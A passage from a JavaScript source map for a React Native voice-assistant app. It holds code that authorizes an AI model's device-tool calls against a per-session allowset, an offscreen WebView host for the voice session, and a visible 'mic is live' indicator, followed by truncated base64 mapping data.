break;\n }\n // CORE's ALLOWSET for this session — what the model may ASK for. Core sends\n // it (even empty, on purpose) at session start. It is a NECESSARY gate, not\n // the whole story: a call must be in the allowset AND the device must\n // actually have the tool (the registry check inside callDeviceTool) — Core\n // says what may be asked, the device decides what it will do.\n //\n // Origin-checked (only the voice app may set it) and pinned ONCE per session\n // (a later message cannot widen it). An EMPTY allowset (arrived) refuses\n // everything but is distinct from NEVER-arrived (frozenTools stays null);\n // both fail closed here — we never fall back to the phone's own registry,\n // which is the seam this closes.\n case 'deviceToolAllowset': {\n const sender = originOf(event?.nativeEvent?.url);\n const expected = originOf(getVoiceApiUrl());\n if (!sender || !expected || sender !== expected) break;\n // Bind the allowset to its sessionId. Pin (or REPLACE for a different\n // session) but never WIDEN within the same session — a second allowset\n // for the same sessionId is ignored. Requires a string sessionId, so an\n // allowset without one never authorizes anything (fail closed).\n if (Array.isArray(data.tools) && typeof data.sessionId === 'string' && data.sessionId !== this.frozenSessionId) {\n this.frozenTools = new Set(data.tools.filter((n: unknown) => typeof n === 'string'));\n this.frozenSessionId = data.sessionId;\n }\n break;\n }\n case 'device-tool-call': {\n const sender = originOf(event?.nativeEvent?.url);\n const expected = originOf(getVoiceApiUrl());\n if (!sender || !expected || sender !== expected) {\n console.warn(`[voiceSession] REFUSED device tool call from \"${sender || 'unknown origin'}\" (expected \"${expected}\")`);\n break;\n }\n void this.handleDeviceToolCall(data);\n break;\n }\n }\n }\n\n /**\n * One device-tool call, arrival to outcome: validate → authorize → run. The\n * answer goes back to the mini-app (the model reads it) AND becomes\n * `lastDeviceTool` — the same object, recorded only once it is known, so a\n * refused call never looks like one that ran.\n */\n private async handleDeviceToolCall(data: any): Promise<void> {\n const { correlationId, name, args, timeoutMs } = data || {};\n const at = Date.now();\n const epoch = this.sessionEpoch;\n const toolName = typeof name === 'string' ? name : '';\n // Which plugin may later read this call. The only plugin that can read this\n // session's snapshot at all is its owner (any other gets the foreign one), so\n // the call is tagged with the owner only if the tool is registered BY it, as\n // of arrival — the same check a clean call's scope uses. Anything else\n // (another solution's tool, the platform's, an unregistered name) is null:\n // the platform's to see, no plugin's.\n const sessionOwner = this.owner;\n const owner = typeof sessionOwner === 'string' && toolName && hasDeviceTool(toolName, sessionOwner)\n ? sessionOwner\n : null;\n\n let answer: DeviceToolAnswer;\n if (!toolName) {\n answer = { ok: false, reason: 'invalid', error: 'The device tool call named no tool.' };\n } else if (!correlationId) {\n answer = {\n ok: false, reason: 'invalid',\n error: `The call to \"${toolName}\" carried no correlationId, so it could not be answered.`,\n };\n } else if (!this.isToolAuthorized(toolName)) {\n // AUTHORIZATION against the FROZEN session set, not the live registry\n // (GPT gate 1). A tool that appeared after connect — the drift case — is\n // refused here, before execution, even if it is registered right now.\n // Both refusals fail closed, but they are DIFFERENT answers to the model:\n // NOT-YET-TOLD (Core's allowset hasn't arrived) is transient — retry;\n // TOLD-AND-DENIED (allowset present, tool not in it / wrong session /\n // unregistered) is final. Same refusal, different sentence.\n const notReady = this.frozenTools === null;\n console.warn(`[voiceSession] REFUSED \"${toolName}\" — ${notReady ? 'allowset not received yet' : 'not authorized for this session'}`);\n answer = notReady\n ? {\n ok: false, reason: 'not_ready',\n error: 'The voice session is still starting up — its tool allowset has not arrived yet. Try again in a moment.',\n }\n : { ok: false, reason: 'not_authorized', error: `\"${toolName}\" is not available in this voice session.` };\n } else {\n answer = await this.runDeviceTool(toolName, args, timeoutMs);\n }\n\n // A call without a correlationId cannot be answered — nothing is waiting on it.\n if (correlationId) this.postDeviceToolResult({ correlationId, ...answer });\n\n if (epoch !== this.sessionEpoch) return; // its session ended while it ran\n const ms = Math.max(0, Date.now() - at);\n const call: VoiceDeviceToolCall = answer.ok\n ? { name: toolName, at, ms, ok: true, reason: null, error: null }\n : { name: toolName, at, ms, ok: false, reason: answer.reason, error: clipError(answer.error) };\n this.setState({\n deviceToolCalls: [...this.state.deviceToolCalls.filter(r => r.owner !== owner), { owner, call }],\n });\n }\n\n /**\n * Final authorization = Core's frozen allowset ∩ the current valid local\n * registry, bound to the ACTIVE session. All must hold:\n * - a Core allowset arrived and is bound to THIS session (frozenSessionId ===\n * the active state.sessionId) — a missing or stale/wrong-session allowset\n * fails closed;\n * - the tool is IN that allowset (Core approved it); AND\n * - the tool is STILL registered locally right now (removed-after-approval is\n * refused; a lazily-added tool Core never approved is refused) — and, on a\n * clean call, registered by the call's owner.\n * No fallback to the live registry alone, ever.\n */\n private isToolAuthorized(name: unknown): boolean {\n if (typeof name !== 'string') return false;\n if (this.frozenTools === null || this.frozenSessionId === null) return false;\n if (this.frozenSessionId !== this.state.sessionId) return false;\n if (!this.frozenTools.has(name)) return false;\n return hasDeviceTool(name, this.toolScope ?? undefined); // still registered locally right now\n }\n\n /** Answer the mini-app's pending device-tool request (a call's outcome, or the\n * tool list) — it resolves the request with this payload by correlationId. */\n private postDeviceToolResult(payload: { correlationId: string } & Record<string, unknown>): void {\n this.webView?.injectJavaScript?.(\n `window.__adasDeviceToolResult && window.__adasDeviceToolResult(${JSON.stringify(\n JSON.stringify(payload),\n )}); true;`,\n );\n }\n\n /** PROPOSE the phone's available tools — this is an offer to Core, not the\n * authorization set. Core sanitizes it and returns the accepted set in a\n * `deviceToolAllowset` message, which is what actually gates execution. */\n private sendDeviceToolList(correlationId: string): void {\n const scope = this.toolScope;\n const tools = listDeviceTools().filter(t => scope === null || t.pluginId === scope).map(t => ({\n name: t.name,\n description: t.description,\n input_schema: t.input_schema,\n }));\n this.postDeviceToolResult({ correlationId, ok: true, tools });\n }\n\n /** Run an authorized device tool. Never throws: every failure is an answer. */\n private async runDeviceTool(name: string, args: any, timeoutMs: number | undefined): Promise<DeviceToolAnswer> {\n try {\n const outcome = await callDeviceTool(name, args || {}, { timeoutMs });\n return outcome.ok\n ? { ok: true, result: outcome.result }\n : { ok: false, reason: outcome.reason, error: outcome.error };\n } catch (err: any) {\n return { ok: false, reason: 'failed', error: err?.message || String(err) };\n }\n }\n\n // ── internals ────────────────────────────────────────────────\n\n private setState(partial: Partial<InternalState>): void {\n this.state = { ...this.state, ...partial };\n this.emit({ type: 'state' });\n }\n\n private appendTranscript(entry: TranscriptEntry): void {\n this.state = { ...this.state, transcript: [...this.state.transcript, entry] };\n this.emit({ type: 'transcript' });\n }\n\n private emit(event: VoiceEvent): void {\n for (const cb of this.listeners) {\n try { cb(event); } catch (e) { console.warn('[voiceSession] listener threw', e); }\n }\n }\n\n private waitForConnect(caller: VoiceCaller): Promise<VoiceSnapshot> {\n return new Promise<VoiceSnapshot>((resolve, reject) => {\n const timer = setTimeout(() => {\n this.pending = this.pending.filter(p => p.timer !== timer);\n reject(new Error('voice: timed out waiting to connect (is VoiceSessionHost mounted?)'));\n }, CONNECT_TIMEOUT_MS);\n this.pending.push({ caller, resolve, reject, timer });\n });\n }\n\n private resolvePending(): void {\n // Everyone still waiting on connect already passed the access check in\n // start(), so each gets the real snapshot — as ITS caller (lastDeviceTool\n // is scoped per caller).\n const waiting = this.pending;\n this.pending = [];\n for (const p of waiting) { clearTimeout(p.timer); p.resolve(this.realSnapshot(p.caller)); }\n }\n\n private rejectPending(err: Error): void {\n const waiting = this.pending;\n this.pending = [];\n for (const p of waiting) { clearTimeout(p.timer); p.reject(err); }\n }\n\n /** TEST ONLY: reset the singleton to a clean idle state (mirrors the\n * __resetSessionSyncForTest precedent). Not part of any surface. */\n __resetForTest(): void {\n this.rejectPending(new Error('voice: reset'));\n this.state = { ...IDLE };\n this.owner = null;\n this.toolScope = null;\n this.pendingStarts.clear();\n this.frozenTools = null;\n this.frozenSessionId = null;\n this.sessionEpoch++;\n this.listeners.clear();\n this.webView = null;\n }\n}\n\n/** The one live session. Handed to setVoiceProvider(voiceSession) at startup. */\nexport const voiceSession = new VoiceSessionManager();\n","/**\n * VoiceSessionHost — the app-root mount that keeps the voice session alive.\n *\n * Renders nothing visible: an OFFSCREEN WebView bound to the `voiceSession`\n * singleton. Mounted ONCE at the app root (like VisionStreamHost for the\n * camera), so the live loop no longer lives inside whatever screen happened to\n * open it. Unmount a UI and the session survives; that is the whole point of the\n * split (spec invariant 3).\n *\n * It re-renders ONLY when the session starts or stops (the mount signature),\n * never on transcript or partial-caption churn — a remount would drop the\n * WebView and kill the session, the exact bug this exists to prevent. The\n * WebView source is computed once at start() and cached in the session, so it is\n * stable across the host's lifetime.\n */\nimport React, { useCallback, useEffect, useReducer, useRef } from 'react';\nimport { View, StyleSheet } from 'react-native';\nimport { WebView } from 'react-native-webview';\nimport { voiceSession } from './voiceSession';\n\nexport default function VoiceSessionHost() {\n const [, force] = useReducer((x: number) => x + 1, 0);\n const lastSig = useRef<string>('');\n\n useEffect(() => {\n // Re-render only when mount-relevant state changes — not on every transcript\n // line, which would remount the WebView and drop the session.\n const sub = voiceSession.subscribe(() => {\n const s = voiceSession.getInternal();\n const sig = `${s.mounted}|${s.webViewSource?.uri || ''}`;\n if (sig !== lastSig.current) {\n lastSig.current = sig;\n force();\n }\n });\n return () => sub.unsubscribe();\n }, []);\n\n // Stable ref callback — React re-invokes an INLINE ref on every render (null\n // then node), which would momentarily detach the WebView from the session.\n const setRef = useCallback((r: any) => {\n voiceSession.setWebView(r);\n }, []);\n\n const s = voiceSession.getInternal();\n if (!s.mounted || !s.webViewSource) return null;\n\n return (\n <View style={styles.hidden} pointerEvents=\"none\">\n <WebView\n ref={setRef}\n source={s.webViewSource}\n style={styles.web}\n onMessage={(e) => voiceSession.handleMessage(e)}\n onError={(e: any) => console.log('[VoiceSessionHost] error:', e.nativeEvent?.description)}\n injectedJavaScriptBeforeContentLoaded={voiceSession.injectedTrackHook}\n mediaPlaybackRequiresUserAction={false}\n allowsInlineMediaPlayback\n mediaCapturePermissionGrantType=\"grant\"\n javaScriptEnabled\n originWhitelist={['*']}\n />\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n hidden: {\n position: 'absolute',\n width: 1,\n height: 1,\n top: -100,\n left: -100,\n opacity: 0,\n },\n web: { flex: 1, backgroundColor: 'transparent' },\n});\n","/**\n * VoiceMicIndicator — the platform-owned \"the mic is live\" evidence.\n *\n * Spec invariant 4: a voice session must NEVER be live without the user knowing,\n * and a headless session (no voice screen, phone pocketed) is exactly where \"no\n * UI\" must not become \"no evidence\". So this is drawn by the PLATFORM, mounted\n * once at the app root above all plugin content, and a plugin NEVER receives it:\n * there is deliberately no `props.voice` call to hide, fake, or restyle it. It\n * reads the one `voiceSession` directly and shows whenever the session is live.\n *\n * It is evidence, not a control — non-interactive on purpose. Reading a live\n * session's transcript (props.voice.transcript(), a privacy surface) is only\n * possible while a session is live, and a live session shows THIS. That coupling\n * is the point: no path to the conversation without visible proof of the mic.\n */\nimport React, { useEffect, useReducer, useRef } from 'react';\nimport { View, Text, Animated, StyleSheet, Platform } from 'react-native';\nimport { ada } from '@ateam-ai-mobile/core';\nimport { voiceSession } from './voiceSession';\n\nconst fontFam = Platform.OS === 'ios' ? 'SF Pro Rounded' : undefined;\n\nexport default function VoiceMicIndicator({ topInset = 8 }: { topInset?: number }) {\n const [, force] = useReducer((x: number) => x + 1, 0);\n const pulse = useRef(new Animated.Value(0.4)).current;\n\n useEffect(() => {\n const sub = voiceSession.subscribe(() => force());\n return () => sub.unsubscribe();\n }, []);\n\n const snap = voiceSession.getSnapshot();\n const live = snap.state === 'connecting' || snap.state === 'connected';\n\n useEffect(() => {\n if (!live) return;\n const loop = Animated.loop(\n Animated.sequence([\n Animated.timing(pulse, { toValue: 1, duration: 700, useNativeDriver: true }),\n Animated.timing(pulse, { toValue: 0.4, duration: 700, useNativeDriver: true }),\n ]),\n );\n loop.start();\n return () => loop.stop();\n }, [live, pulse]);\n\n if (!live) return null;\n\n const label =\n snap.state === 'connecting' ? 'Connecting…'\n : snap.muted ? 'Mic muted'\n : 'Ada is listening';\n const dotColor = snap.muted ? ada.inkMuted : '#E5484D';\n\n return (\n <View style={[styles.wrap, { top: topInset }]} pointerEvents=\"none\">\n <View style={styles.pill}>\n <Animated.View style={[styles.dot, { backgroundColor: dotColor, opacity: snap.muted ? 1 : pulse }]} />\n <Text style={styles.label}>{label}</Text>\n </View>\n </View>\n );\n}\n\nconst styles = StyleSheet.create({\n wrap: {\n position: 'absolute',\n left: 0,\n right: 0,\n alignItems: 'center',\n zIndex: 9999,\n elevation: 9999,\n },\n pill: {\n flexDirection: 'row',\n alignItems: 'center',\n gap: 7,\n paddingHorizontal: 12,\n paddingVertical: 6,\n borderRadius: 999,\n backgroundColor: ada.ink,\n shadowColor: '#000',\n shadowOpacity: 0.2,\n shadowRadius: 8,\n shadowOffset: { width: 0, height: 2 },\n },\n dot: {\n width: 8,\n height: 8,\n borderRadius: 4,\n },\n label: {\n fontSize: 12,\n fontFamily: fontFam,\n fontWeight: '600',\n color: ada.paper,\n letterSpacing: 0.2,\n },\n});\n"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;;;ACeA,IAAAA,gBAAkE;AAClE,IAAAC,wBAOO;AACP,IAAAC,gBAAwD;;;ACxBxD,IAAAC,gBAAsC;AACtC,IAAAC,uBAAmE;AACnE,2CAAqB;AAErB,IAAAC,gBAA4F;AAC5F,IAAAC,yBAAmC;;;ACLnC,mBAA4C;AAC5C,0BAAiD;AAEjD,kBAA8B;AAgFtB;AA3ER,IAAM,aAAa;AACnB,IAAM,kBAAkB;AACxB,IAAM,WAAW;AACjB,IAAM,gBAAgB;AACtB,IAAM,aAAa;AACnB,IAAM,kBAAkB;AAST,SAAR,eAAgC,EAAE,UAAU,WAAW,GAAU;AACtE,QAAM,gBAAY,qBAAO,IAAI,6BAAS,MAAM,GAAG,CAAC,EAAE;AAClD,QAAM,CAAC,SAAS,UAAU,QAAI,uBAAS,CAAC;AAExC,QAAM,YAAY,SAAS,WAAW;AACtC,QAAM,SAAS,SAAS,WAAW;AACnC,QAAM,UAAU,SAAS,WAAW;AACpC,QAAM,WAAW,SAAS,WAAW;AAGrC,8BAAU,MAAM;AACd,QAAI,CAAC,WAAW;AACd,gBAAU,SAAS,CAAC;AACpB;AAAA,IACF;AACA,UAAM,OAAO,6BAAS;AAAA,MACpB,6BAAS,SAAS;AAAA;AAAA;AAAA,QAGhB,6BAAS,OAAO,WAAW,EAAE,SAAS,MAAM,UAAU,MAAM,iBAAiB,KAAK,CAAC;AAAA,QACnF,6BAAS,OAAO,WAAW,EAAE,SAAS,MAAM,UAAU,MAAM,iBAAiB,KAAK,CAAC;AAAA,MACrF,CAAC;AAAA,IACH;AACA,SAAK,MAAM;AACX,WAAO,MAAM,KAAK,KAAK;AAAA,EACzB,GAAG,CAAC,WAAW,SAAS,CAAC;AAGzB,8BAAU,MAAM;AACd,QAAI,CAAC,aAAa,CAAC,SAAS,gBAAgB;AAC1C,iBAAW,CAAC;AACZ;AAAA,IACF;AACA,UAAM,QAAQ,SAAS;AACvB,eAAW,KAAK,OAAO,KAAK,IAAI,IAAI,SAAS,GAAI,CAAC;AAClD,UAAM,KAAK,YAAY,MAAM;AAC3B,iBAAW,KAAK,OAAO,KAAK,IAAI,IAAI,SAAS,GAAI,CAAC;AAAA,IACpD,GAAG,GAAI;AACP,WAAO,MAAM,cAAc,EAAE;AAAA,EAC/B,GAAG,CAAC,WAAW,SAAS,cAAc,CAAC;AAEvC,QAAM,cAAc,SAChB,aACA,UACE,WACA,WACE,aACA,gBAAI;AAEZ,QAAM,WAAW,SACb,kBACA,UACE,gBACA,WACE,kBACA,gBAAI;AAGZ,MAAI,UAAU,SAAS;AACrB,WACE,4CAAC,4BAAK,OAAO,CAAC,OAAO,WAAW,cAAc,OAAO,mBAAmB,GACtE,uDAAC,4BAAK,OAAO,OAAO,KAClB;AAAA,kDAAC,4BAAK,OAAO,CAAC,OAAO,KAAK,EAAE,iBAAiB,YAAY,CAAC,GAAG;AAAA,MAC7D,4CAAC,4BAAK,OAAO,CAAC,OAAO,OAAO,EAAE,OAAO,YAAY,CAAC,GAC/C,mBAAS,cAAc,UAC1B;AAAA,OACF,GACF;AAAA,EAEJ;AAEA,MAAI,UAAU;AACZ,WACE,4CAAC,4BAAK,OAAO,CAAC,OAAO,WAAW,cAAc,OAAO,mBAAmB,GACtE,uDAAC,4BAAK,OAAO,OAAO,KAClB;AAAA,kDAAC,4BAAK,OAAO,CAAC,OAAO,KAAK,EAAE,iBAAiB,YAAY,CAAC,GAAG;AAAA,MAC7D,4CAAC,4BAAK,OAAO,CAAC,OAAO,OAAO,EAAE,OAAO,YAAY,CAAC,GAAG,oCAErD;AAAA,OACF,GACF;AAAA,EAEJ;AAKA,QAAM,aAAa,SAAS,iBACxB,UAAU,KACR,GAAG,OAAO,MACV,GAAG,KAAK,MAAM,UAAU,EAAE,CAAC,KAAK,UAAU,EAAE,MAC9C;AAEJ,QAAM,YAAY;AAAA,IAChB,SAAS,aAAa,QAAQ,SAAS,YAAY,IAAI,QAAQ,SAAS,SAAS,KAAK;AAAA,IACtF;AAAA,EACF,EAAE,OAAO,OAAO;AAEhB,QAAM,SAAS,SAAS;AACxB,QAAM,QAAQ,CAAC,MAAgB,KAAK,SAAS,CAAC,KAAM;AACpD,QAAM,WAAW,SAAS,eAAe,MAAM,SAAS,SAAS,KAAK;AAEtE,QAAM,cAAc,CAAC,SAAS,eAAe,CAAC,CAAC,SAAS;AAExD,QAAM,KAAK,SAAS;AAEpB,SACE,6CAAC,4BAAK,OAAO,CAAC,OAAO,WAAW,cAAc,OAAO,mBAAmB,GACtE;AAAA,iDAAC,4BAAK,OAAO,OAAO,KAClB;AAAA;AAAA,QAAC,6BAAS;AAAA,QAAT;AAAA,UACC,OAAO,CAAC,OAAO,KAAK,OAAO,YAAY,EAAE,SAAS,UAAU,CAAC;AAAA;AAAA,MAC/D;AAAA,MACA,4CAAC,4BAAK,OAAO,OAAO,OAAO,eAAe,GACvC,oBACH;AAAA,MACC,eACC,4CAAC,4BAAK,OAAO,OAAO,MAAM,eAAe,GACtC,qBAAM,MAAM,SAAS,WAAW,CAAC,IACpC;AAAA,MAED,UAAU,SAAS,KAClB,4CAAC,4BAAK,OAAO,OAAO,MAAM,eAAe,GACtC,qBAAQ,UAAU,KAAK,UAAO,CAAC,IAClC;AAAA,OAEJ;AAAA,IAEC,CAAC,CAAC,IAAI,WACL,6CAAC,4BAAK,OAAO,OAAO,iBACjB;AAAA,SAAG,QAAQ,QAAQ,GAAG,SAAS,QAC9B,6CAAC,4BAAK,OAAO,OAAO,kBAAkB;AAAA;AAAA,QAAE,GAAG;AAAA,QAAK;AAAA,QAAE,GAAG;AAAA,QAAM;AAAA,SAAC;AAAA,MAE9D,4CAAC,4BAAK,OAAO,OAAO,iBAAiB,eAAe,GAAI,aAAG,SAAQ;AAAA,OACrE;AAAA,IAEF,4CAAC,4BAAK,OAAO,OAAO,eAClB;AAAA,MAAC,6BAAS;AAAA,MAAT;AAAA,QACC,OAAO,CAAC,OAAO,cAAc,EAAE,SAAS,UAAU,CAAC;AAAA;AAAA,IACrD,GACF;AAAA,KACF;AAEJ;AAEA,IAAM,SAAS,+BAAW,OAAO;AAAA,EAC/B,WAAW;AAAA,IACT,WAAW;AAAA,IACX,YAAY;AAAA,IACZ,gBAAgB;AAAA,IAChB,gBAAgB,gBAAI;AAAA,EACtB;AAAA;AAAA,EAEA,qBAAqB;AAAA,IACnB,WAAW;AAAA,IACX,YAAY;AAAA,IACZ,gBAAgB;AAAA,EAClB;AAAA,EACA,KAAK;AAAA,IACH,eAAe;AAAA,IACf,YAAY;AAAA,IACZ,UAAU;AAAA,IACV,UAAU;AAAA,EACZ;AAAA,EACA,KAAK;AAAA,IACH,OAAO;AAAA,IACP,QAAQ;AAAA,IACR,cAAc;AAAA,IACd,aAAa;AAAA,IACb,YAAY;AAAA,EACd;AAAA;AAAA,EAEA,YAAY;AAAA,IACV,iBAAiB;AAAA,EACnB;AAAA,EACA,OAAO;AAAA,IACL,UAAU,qBAAS;AAAA,IACnB,YAAY;AAAA,EACd;AAAA;AAAA;AAAA,EAGA,OAAO;AAAA,IACL,UAAU,qBAAS;AAAA,IACnB,YAAY;AAAA,IACZ,OAAO,gBAAI;AAAA,IACX,YAAY;AAAA,EACd;AAAA,EACA,MAAM;AAAA,IACJ,UAAU,qBAAS;AAAA,IACnB,OAAO,gBAAI;AAAA,IACX,YAAY;AAAA,EACd;AAAA,EACA,MAAM;AAAA,IACJ,UAAU,qBAAS;AAAA,IACnB,OAAO,gBAAI;AAAA,IACX,YAAY;AAAA,EACd;AAAA,EACA,iBAAiB;AAAA,IACf,eAAe;AAAA,IACf,YAAY;AAAA,IACZ,WAAW;AAAA,IACX,KAAK;AAAA,EACP;AAAA,EACA,kBAAkB;AAAA,IAChB,UAAU,qBAAS;AAAA,IACnB,YAAY;AAAA,IACZ,OAAO,gBAAI;AAAA,EACb;AAAA,EACA,iBAAiB;AAAA,IACf,UAAU,qBAAS;AAAA,IACnB,OAAO,gBAAI;AAAA,IACX,MAAM;AAAA,EACR;AAAA,EACA,eAAe;AAAA,IACb,QAAQ;AAAA,IACR,cAAc;AAAA,IACd,WAAW;AAAA,IACX,UAAU;AAAA;AAAA,IAEV,iBAAiB;AAAA,EACnB;AAAA,EACA,cAAc;AAAA,IACZ,QAAQ;AAAA,IACR,OAAO;AAAA,IACP,cAAc;AAAA;AAAA,IAEd,iBAAiB;AAAA,EACnB;AACF,CAAC;;;AC/OD,IAAAC,uBAA4D;AAC5D,IAAAC,eAA8B;AAE9B,IAAAC,yBAA4C;;;AC0B5C,IAAI,SAA+B;AAG5B,SAAS,iBAAiB,OAAmC;AAClE,WAAS;AACX;AAEO,SAAS,mBAAyC;AACvD,SAAO;AACT;AAQA,IAAI,aAAuC;AAGpC,SAAS,qBAAqB,WAA2C;AAC9E,eAAa;AACf;AAEO,SAAS,eAAyC;AACvD,SAAO;AACT;AAgBA,IAAI,aAAuC;AAEpC,SAAS,qBAAqB,UAA0C;AAC7E,eAAa;AACf;AAEO,SAAS,uBAAiD;AAC/D,SAAO;AACT;AASA,IAAI,cAAuC;AAEpC,SAAS,2BAA2B,QAAuC;AAChF,gBAAc;AAChB;AAEO,SAAS,6BAAsD;AACpE,SAAO;AACT;;;ACrFA,IAAAC,gBAA0B;AAC1B,qBAAuB;AACvB,IAAAC,eAAqC;AACrC,IAAAC,yBAAgC;;;ACfhC,IAAAC,gBAAoC;AACpC,IAAAC,uBAAwC;AACxC,IAAAC,eAAoB;AACpB,IAAAC,yBAKO;;;ACRP,IAAAC,gBAA+B;AAC/B,IAAAC,uBAAqE;AACrE,IAAAC,eAA2C;AAC3C,IAAAC,yBAMO;;;AClBP,IAAAC,gBAA0D;AAC1D,IAAAC,uBAAoE;AACpE,kCAAwB;AACxB,IAAAC,eAAmF;AACnF,4BAAgF;;;ACJhF,IAAAC,gBAA+C;AAC/C,IAAAC,eAOO;AAWA,SAAS,gBACd,UACA,aACA,kBACA,OACA;AAIA,QAAM,iBAAa,sBAAY,IAAI;AAGnC,QAAM,eAAW,2BAAY,MAAM;AACjC,UAAM,MAAM,KAAK,UAAU;AAAA,MACzB,QAAQ;AAAA,MACR;AAAA,MACA,SAAS;AAAA,QACP,MAAM;AAAA,QACN,SAAS;AAAA,UACP,YAAQ,wBAAU;AAAA,UAClB,aAAa,eAAe;AAAA,UAC5B,aAAa;AAAA,UACb,MAAM;AAAA,UACN,WAAW;AAAA,QACb;AAAA,MACF;AAAA,IACF,CAAC;AACD,eAAW,SAAS,YAAY,GAAG;AAAA,EACrC,GAAG,CAAC,UAAU,WAAW,CAAC;AAG1B,QAAM,mBAAe;AAAA,IACnB,CAAC,MAAc,YAAiB;AAC9B,YAAM,MAAM,KAAK,UAAU;AAAA,QACzB,QAAQ;AAAA,QACR,SAAS,EAAE,MAAM,QAAQ;AAAA,MAC3B,CAAC;AACD,iBAAW,SAAS,YAAY,GAAG;AAAA,IACrC;AAAA,IACA,CAAC;AAAA,EACH;AAGA,QAAM,wBAAoB,2BAAY,CAAC,QAAa;AAClD,QAAI,IAAI,YAAY,UAAW;AAC/B,UAAM,MAAM,KAAK,UAAU;AAAA,MACzB,QAAQ;AAAA,MACR;AAAA,MACA,SAAS;AAAA,QACP,MAAM;AAAA,QACN,SAAS;AAAA,UACP,SAAS,IAAI;AAAA,UACb,MAAM,IAAI;AAAA,UACV,eAAe,IAAI;AAAA,QACrB;AAAA,MACF;AAAA,IACF,CAAC;AACD,eAAW,SAAS,YAAY,GAAG;AAAA,EACrC,GAAG,CAAC,QAAQ,CAAC;AAGb,+BAAU,MAAM;AACd,UAAM,QAAQ,kCAAqB,GAAG,kBAAkB,CAAC,QAAa;AACpE,UAAI,IAAI,aAAa,SAAU;AAC/B,wBAAkB,GAAG;AAAA,IACvB,CAAC;AACD,WAAO;AAAA,EACT,GAAG,CAAC,UAAU,iBAAiB,CAAC;AAGhC,+BAAU,MAAM;AACd,QAAI,CAAC,iBAAkB;AAEvB,UAAM,QAAQ,WAAW,MAAM;AAC7B,YAAM,MAAM,iBAAiB;AAC7B,YAAM,YAAmB,CAAC;AAC1B,iBAAW,OAAO,KAAK;AACrB,YAAI,IAAI,aAAa,UAAU;AAC7B,4BAAkB,GAAG;AAAA,QACvB,OAAO;AACL,oBAAU,KAAK,GAAG;AAAA,QACpB;AAAA,MACF;AACA,uBAAiB,UAAU;AAAA,IAC7B,GAAG,GAAI;AACP,WAAO,MAAM,aAAa,KAAK;AAAA,EACjC,GAAG,CAAC,UAAU,kBAAkB,iBAAiB,CAAC;AAGlD,QAAM,oBAAgB;AAAA,IACpB,OAAO,UAA6C;AAClD,UAAI;AACJ,UAAI;AACF,eAAO,KAAK,MAAM,MAAM,YAAY,IAAI;AAAA,MAC1C,QAAQ;AACN;AAAA,MACF;AAEA,UAAI,KAAK,WAAW,cAAe;AAEnC,YAAM,SAAS,KAAK,SAAS,UAAU,KAAK;AAC5C,YAAM,UAAU,KAAK,SAAS,WAAW,KAAK;AAC9C,YAAM,OAAO,KAAK,SAAS,QAAQ,KAAK;AAKxC,UAAI,WAAW,eAAe,SAAS,WAAW;AAChD,cAAM,EAAE,WAAW,KAAK,IAAI;AAC5B,YAAI;AACF,gBAAM,SAAS,UAAM,uBAAS,IAAI;AAClC,uBAAa,oBAAoB,EAAE,WAAW,QAAQ,OAAO,KAAK,CAAC;AAAA,QACrE,SAAS,KAAU;AACjB,kBAAQ,KAAK,mCAAmC,IAAI,OAAO;AAC3D,uBAAa,oBAAoB,EAAE,WAAW,QAAQ,MAAM,OAAO,IAAI,QAAQ,CAAC;AAAA,QAClF;AACA;AAAA,MACF;AAOA,UAAI,WAAW,cAAc,SAAS,WAAW;AAC/C,cAAM,EAAE,WAAW,UAAU,MAAM,SAAS,IAAI;AAGhD,YAAI,UAAU;AACZ,cAAI;AACF,kBAAM,cAAc,UAAM,0BAAY,UAAU,YAAY,CAAC,CAAC;AAE9D,kBAAM,SAAS,aAAa,UAAU;AACtC,yBAAa,cAAc,EAAE,WAAW,QAAQ,OAAO,KAAK,CAAC;AAAA,UAC/D,SAAS,KAAU;AACjB,yBAAa,cAAc,EAAE,WAAW,QAAQ,MAAM,OAAO,IAAI,QAAQ,CAAC;AAAA,UAC5E;AACA;AAAA,QACF;AAIA,cAAM,MAAM,QAAQ,eAAe,UAAU,eAAe,UAAU,QAAQ;AAC9E,cAAM,OAAO,QAAQ,QAAQ,UAAU,QAAQ,UAAU,QAAQ;AACjE,cAAM,WAAW,QAAQ,QAAQ,UAAU,QAAQ,UAAU,QAAQ,QAAQ,CAAC;AAE9E,YAAI,CAAC,OAAO,CAAC,MAAM;AACjB,kBAAQ,MAAM,8DAAyD,GAAG,WAAW,IAAI,EAAE;AAC3F,uBAAa,cAAc,EAAE,WAAW,QAAQ,MAAM,OAAO,4DAA4D,GAAG,UAAU,IAAI,GAAG,CAAC;AAC9I;AAAA,QACF;AAEA,YAAI;AACF,gBAAMC,QAAO,UAAM,4BAAc,KAAK,MAAM,QAAQ;AACpD,cAAIA,MAAK,IAAI;AACX,yBAAa,cAAc,EAAE,WAAW,QAAQA,MAAK,QAAQ,OAAO,KAAK,CAAC;AAAA,UAC5E,OAAO;AACL,yBAAa,cAAc,EAAE,WAAW,QAAQ,MAAM,OAAOA,MAAK,SAAS,kBAAkB,CAAC;AAAA,UAChG;AAAA,QACF,SAAS,KAAU;AACjB,uBAAa,cAAc,EAAE,WAAW,QAAQ,MAAM,OAAO,IAAI,QAAQ,CAAC;AAAA,QAC5E;AACA;AAAA,MACF;AAKA,UAAI,WAAW,SAAS;AACtB,0CAAqB,KAAK,gBAAgB,EAAE,SAAS,CAAC;AACtD;AAAA,MACF;AAKA,UAAI,SAAS,2BAA2B,SAAS,eAAe;AAC9D,cAAM,KAAK,OAAO;AAClB,YAAI,MAAM,GAAG,eAAe,UAAU,MAAM;AAC1C,cAAI;AACF,eAAG,KAAK,KAAK,UAAU;AAAA,cACrB,MAAM;AAAA,cACN,eAAe,QAAQ;AAAA,cACvB,QAAQ,QAAQ;AAAA,cAChB,OAAO,QAAQ;AAAA,YACjB,CAAC,CAAC;AAAA,UACJ,SAAS,KAAU;AACjB,oBAAQ,KAAK,wDAAwD,IAAI,OAAO;AAChF,sBAAM,gCAAkB,QAAQ,eAAe,QAAQ,QAAQ,QAAQ,KA